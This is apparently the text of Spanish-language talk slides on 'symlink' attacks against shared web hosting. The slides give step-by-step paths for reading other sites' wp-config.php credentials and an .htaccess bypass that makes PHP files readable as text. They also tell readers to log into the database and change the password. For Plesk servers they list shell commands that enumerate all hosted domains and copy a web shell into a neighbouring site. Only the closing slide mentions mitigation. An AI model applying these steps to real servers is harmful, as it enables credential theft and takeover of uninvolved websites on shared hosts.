  • 14. VIZUALIZANDO CONFIG. • Se Guarda el nombre que te dio el nombre ( Parte subrayada en la imagen ) y nos devolvemos de nuevo a la carpeta del root y empezamos a ingresar por medio de la url: • sitio/x/root/ • sitio/x/root/home/ • sitio/x/root/home/$Nombre/ • Sitio/x/root/home/$Nombre/Public_html/ • Sitio/x/root/home/$Nombre/Public_html/wp-config.php ( Config de la Worpress )
  • 15. WALA!! • Wala! en mi caso de ejemplo: •
  • 16. • Visualizando la config del sitio.
  • 17. SYMLINK BYPASS • Bueno Habra caso donde no de logre visualizar la config por q te diga “forhiben” Para eso solo debes subir un .htaccess a la carpeta /x/ con esto adentro: Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php • y bueno ya solo falta ingresar a la DB , Cambiar la pass y entrar ! #HappyHacking!
  • 18. AHORA PENSEMOS… • Usando Symlink, ya no es necesario hacer un ataque directo aun sitio. Usando este método, podremos ‘hackear’ un website del servidor y usarlo para entrar al verdadero objetivo.
  • 19. MAPA DE ATAQUE. Sitio Vulnerable Otros sites Otros sites Server Otros sites Otros sites Objetivo Hacker S y m L I n k
  • 20. DEMO LIVE! • #HappyHacking
  • 22. «SYMLINK EUROPEO» YAROLINUX • Básicamente el Symlink Europeo o Symlink en servidores Parallels Plesk Panel • Este tiene otro Tipo de Estructura. Que es el Siguiente: • Var/www/vhosts/
  • 23. SYMLINK EUROPEO • El error se encontró en los sistemas que manejaban esa estructura /var/www/vhosts/ usando los mismos comandos de el symlink y vizualizar archivos del servidor sin permiso. Listando los otros sitios del servidor sin nesecidad de Reversear DNS.
  • 24. EXPLOTANDO SYMLINK EUROPEO • Empezamos teniendo una shell up en un servidor con la estructura ya mencionada. Luego empezamos a ejecutar los siguientes comandos: • Listamos los sitios del servidor : • ls /var/www/vhosts/ • Inmediatamente al ejecutar ese codigo nos mostrara la lista de sitios en el servidor:
  • 25. SYMLINK EUROPEO PWND! • Luego de listar los dominios, miraremos que tiene cada dominio (ficheros) y utilizamos el comando: • Ls –l /var/www/vhosts/*/httpdocs/ • Con este comando se nos vizualizaran todos los archivos del servidor de todos los dominios
  • 26. SYMLINK EUROPEO PWND! • Lo que debemos hacer es localizar un carpeta dentro del sitio, la cual nos dará la oportunidad de copiar nuestra Shell en otro dominio del servidor. • Ya teniendo el target definido empezamos: • Guardamos la ubicación completa. Ej.: • /var/www/vhosts/sitiovulnerable.com/httpdocs/tmp/ • Le añadimos la carpeta del sitio : /tmp/
  • 27. SYMLINK EUROPEO PWND! • Y ahora usamos toda esa dirección para hacer una copia de nuestra Shell ejecutamos el comando de copiar + archivo + dirección Cp 404.php /var/www/vhosts/sitiovulnerable.com/httpdocs/tmp/ Ya tenemos la Shell copiada a otro dominio y solo es abrir vía url. #HappyHacking!
  • 28. CONCLUSIONES • El Symlink puede ser una vulnerabilidad critica , que si no se soluciona en los servidores, muy fácilmente pueden caer muchos sitios del mismo hosting compartido. Esta vulnerabilidad se soluciona deshabilitando la función del servidor «FollowSymlink» & «Open_Base_Dir» Evitando de esa manera el enlace symbolico a /root y el copiado de archivos entre usuarios.
  • 29. GRACIAS! Síguenos en Twitter ! • @Dylan_Irzi11 & @Yarolinux • Y Visita nuestro Sitio: www.WebSecurityDev.com